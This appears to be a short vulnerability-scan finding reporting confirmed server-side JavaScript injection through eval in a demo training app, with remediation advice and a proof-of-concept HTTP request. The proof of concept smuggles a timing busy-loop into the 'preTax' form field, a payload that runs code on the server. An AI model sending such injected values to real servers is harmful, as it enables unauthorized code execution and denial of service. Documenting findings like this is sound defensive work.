Server-Side JavaScript Injection (eval)
CRITICAL CONFIRMEDContribution form fields are evaluated server-side via JavaScript `eval`. A busy-loop timing payload produced consistent multi-second delay vs baseline.
Remediation
Never pass user input to eval/Function/vm.runInNewContext. Use safe parsers and strict allowlists for numeric fields.
Evidence / PoC
POST /contributions HTTP/1.1
Host: training-app.demo.vexraptor.internal
Content-Type: application/x-www-form-urlencoded
Cookie: connect.sid=[session]
preTax=1;(function(){var d=Date.now();while(Date.now()-d<2500){}})();&afterTax=1&roth=0
→ Response delayed ~2.5s vs control (eval timing confirmed)